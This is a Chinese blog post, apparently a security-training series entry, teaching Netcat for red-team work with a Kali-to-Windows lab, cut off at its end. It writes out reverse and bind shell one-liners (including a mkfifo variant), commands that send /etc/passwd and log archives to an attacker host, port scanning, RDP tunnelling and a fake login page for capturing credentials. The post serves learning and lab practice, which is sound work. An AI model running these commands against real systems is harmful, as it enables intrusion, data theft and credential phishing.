&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day8 Kali黑客工具NetCat和Socat</title><link>https://ruajingjing.top/post/day8-kali%E9%BB%91%E5%AE%A2%E5%B7%A5%E5%85%B7netcat%E5%92%8Csocat/</link><pubDate>Fri, 11 Apr 2025 23:13:09 +0000</pubDate><guid>https://ruajingjing.top/post/day8-kali%E9%BB%91%E5%AE%A2%E5%B7%A5%E5%85%B7netcat%E5%92%8Csocat/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day8 Kali黑客工具NetCat和Socat" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;泷羽Sec-静安，专注网络安全与编程技术的学习与分享，探索技术细节与实际应用。声明：本公众号所分享的工具与资源，仅供学习与研究使用，严禁用于任何非法活动。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="netcatnc"&gt;Netcat（nc）
&lt;/h2&gt;&lt;p&gt;Netcat（nc）因其灵活的TCP/UDP通信能力，在红队渗透测试中扮演着重要角色。• &lt;strong&gt;Netcat下载&lt;/strong&gt;：Windows版&lt;code&gt;nc.exe&lt;/code&gt;可从&lt;a class="link" href="https://docs.microsoft.com/zh-cn/sysinternals/" target="_blank" rel="noopener"
 &gt;Sysinternals Suite&lt;/a&gt;获取。&lt;/p&gt;
&lt;h3 id="1-反向shell获取控制权"&gt;&lt;strong&gt;1. 反向Shell获取控制权&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：绕过防火墙限制，建立隐蔽的远程控制通道。&lt;br&gt;
&lt;strong&gt;操作步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;攻击端监听&lt;/strong&gt;（接收Shell）：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;4444&lt;/span&gt; -e /bin/bash &lt;span class="c1"&gt;# 传统方法（需目标支持-e参数）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标端连接&lt;/strong&gt;（主动回连）：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;4444&lt;/span&gt; -e /bin/bash &lt;span class="c1"&gt;# 直接执行Shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;strong&gt;绕过限制技巧&lt;/strong&gt;（无&lt;code&gt;-e&lt;/code&gt;参数时）：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mkfifo /tmp/f&lt;span class="p"&gt;;&lt;/span&gt; nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;4444&lt;/span&gt; &amp;lt; /tmp/f &lt;span class="p"&gt;|&lt;/span&gt; /bin/bash &amp;gt; /tmp/f 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;strong&gt;优势&lt;/strong&gt;：通过命名管道实现无&lt;code&gt;-e&lt;/code&gt;参数环境下的Shell反弹。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="2-端口扫描与监听"&gt;&lt;strong&gt;2. 端口扫描与监听&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：快速探测目标开放端口或搭建临时服务。&lt;br&gt;
&lt;strong&gt;实战命令&lt;/strong&gt;：
• &lt;strong&gt;端口扫描&lt;/strong&gt;（快速识别脆弱服务）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -zv 192.168.1.100 1-1024 &lt;span class="c1"&gt;# 扫描1-1024端口（-z为扫描模式，-v显示详情）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;监听端口&lt;/strong&gt;（捕获敏感流量）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;8080&lt;/span&gt; &amp;gt; captured_data.log &lt;span class="c1"&gt;# 记录所有传入数据到文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-文件传输与数据窃取"&gt;&lt;strong&gt;3. 文件传输与数据窃取&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：内网横向移动时快速交换工具或窃取数据。&lt;br&gt;
&lt;strong&gt;操作示例&lt;/strong&gt;：
• &lt;strong&gt;单向传输&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 接收端（攻击机）：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;1234&lt;/span&gt; &amp;gt; stolen_data.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 发送端（目标机）：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;1234&lt;/span&gt; &amp;lt; /etc/passwd &lt;span class="c1"&gt;# 发送敏感文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;目录批量传输&lt;/strong&gt;（结合tar压缩）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 目标机打包发送：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tar -czf - /var/log/ &lt;span class="p"&gt;|&lt;/span&gt; nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 攻击机接收解压：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;1234&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tar -xzvf -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="4-内网穿透与端口转发"&gt;&lt;strong&gt;4. 内网穿透与端口转发&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：突破网络边界，访问受限内网资源。&lt;br&gt;
&lt;strong&gt;典型场景&lt;/strong&gt;：
• &lt;strong&gt;正向代理&lt;/strong&gt;（目标机可直连外网）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 目标机监听内网服务：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;5555&lt;/span&gt; -e /bin/bash &lt;span class="c1"&gt;# 暴露Shell到本地5555端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 攻击机连接：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;目标机公网IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;5555&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;反向隧道&lt;/strong&gt;（目标机仅允许出站）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 攻击机监听：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 目标机建立隧道：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;4444&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;nc 192.168.10.20 3389&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 转发内网RDP服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="5-网络欺骗与信息收集"&gt;&lt;strong&gt;5. 网络欺骗与信息收集&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：模拟服务响应或抓取敏感信息。&lt;br&gt;
&lt;strong&gt;技巧示例&lt;/strong&gt;：
• &lt;strong&gt;伪造HTTP服务&lt;/strong&gt;（诱捕凭证）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 搭建钓鱼页面：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;HTTP/1.1 200 OK\nContent-Type: text/html\n\n&amp;lt;LoginForm&amp;gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; nc -l -p &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;抓取Banner信息&lt;/strong&gt;（服务指纹识别）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;HEAD / HTTP/1.0\n\n&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; nc example.com &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="c1"&gt;# 获取Web服务器类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="netcat实战练习-"&gt;Netcat实战练习 ：
&lt;/h2&gt;&lt;h3 id="1-实现kali与windows的简单聊天"&gt;&lt;strong&gt;1. 实现Kali与Windows的简单聊天&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="步骤说明"&gt;&lt;strong&gt;步骤说明&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Kali端监听&lt;/strong&gt;（作为服务器）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Windows端连接&lt;/strong&gt;（作为客户端）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：Windows需提前下载&lt;code&gt;nc.exe&lt;/code&gt;工具（如从Sysinternals Suite获取）。&lt;/p&gt;
&lt;h4 id="双向通信"&gt;&lt;strong&gt;双向通信&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• 在任意一端输入文字，另一端实时显示。
• &lt;strong&gt;验证&lt;/strong&gt;：输入&lt;code&gt;Hello from Kali!&lt;/code&gt;，Windows端应收到消息。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411195629380" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411195629380.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="NC" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/NC.gif"&gt;&lt;/p&gt;
&lt;h3 id="2-使用netcat创建反向绑定shell"&gt;&lt;strong&gt;2. 使用Netcat创建反向/绑定Shell&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="a-kali到windows的反向shell"&gt;&lt;strong&gt;a. Kali到Windows的反向Shell&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Kali监听&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;5555&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Windows触发反向Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;5555&lt;/span&gt; &lt;span class="n"&gt;-e&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411195830822" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411195830822.png"&gt;&lt;/p&gt;
&lt;h4 id="b-windows到kali的反向shell"&gt;&lt;strong&gt;b. Windows到Kali的反向Shell&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Windows监听&lt;/strong&gt;（需管理员权限）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-lvp&lt;/span&gt; &lt;span class="mf"&gt;6666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Kali触发反向Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;Windows_IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;6666&lt;/span&gt; -e /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411194638513" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411194638513.png"&gt;&lt;/p&gt;
&lt;h4 id="c-kali绑定shell"&gt;&lt;strong&gt;c. Kali绑定Shell&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Kali绑定Shell监听&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;7777&lt;/span&gt; -e /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Windows连接&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411200452323" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411200452323.png"&gt;&lt;/p&gt;
&lt;h4 id="d-windows绑定shell"&gt;&lt;strong&gt;d. Windows绑定Shell&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Windows绑定Shell监听&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-lvp&lt;/span&gt; &lt;span class="mf"&gt;8888&lt;/span&gt; &lt;span class="n"&gt;-e&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Kali连接&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;Windows_IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;8888&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411200716131" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411200716131.png"&gt;&lt;/p&gt;
&lt;h3 id="3-文件传输"&gt;&lt;strong&gt;3. 文件传输&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="kali到windows"&gt;&lt;strong&gt;Kali到Windows&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Kali发送文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;9999&lt;/span&gt; &amp;lt; 1.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Windows接收&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;9999&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411212938393" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411212938393.png"&gt;&lt;/p&gt;
&lt;h4 id="windows到kali"&gt;&lt;strong&gt;Windows到Kali&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Windows发送文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-lvp&lt;/span&gt; &lt;span class="mf"&gt;1234&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;confidential&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;docx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Kali接收&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;Windows_IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;1234&lt;/span&gt; &amp;gt; downloaded.docx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411213833467" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411213833467.png"&gt;&lt;/p&gt;
&lt;h3 id="4-防火墙开启后的调整"&gt;&lt;strong&gt;4. 防火墙开启后的调整&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="挑战与解决方案"&gt;&lt;strong&gt;挑战与解决方案&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;端口限制&lt;/strong&gt;：
• &lt;strong&gt;问题&lt;/strong&gt;：Windows防火墙默认阻止未授权端口（如4444）。
• &lt;strong&gt;解决&lt;/strong&gt;：使用常用端口（如80/443）或添加防火墙入站规则。
• &lt;strong&gt;反向Shell绕过&lt;/strong&gt;：
• 反向Shell依赖出站连接，通常防火墙允许出站流量，因此更可靠。
• &lt;strong&gt;文件传输失败&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;替代方案&lt;/strong&gt;：使用HTTP协议（Kali搭建Python HTTP服务器）：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python3 -m http.server &lt;span class="m"&gt;8000&lt;/span&gt;
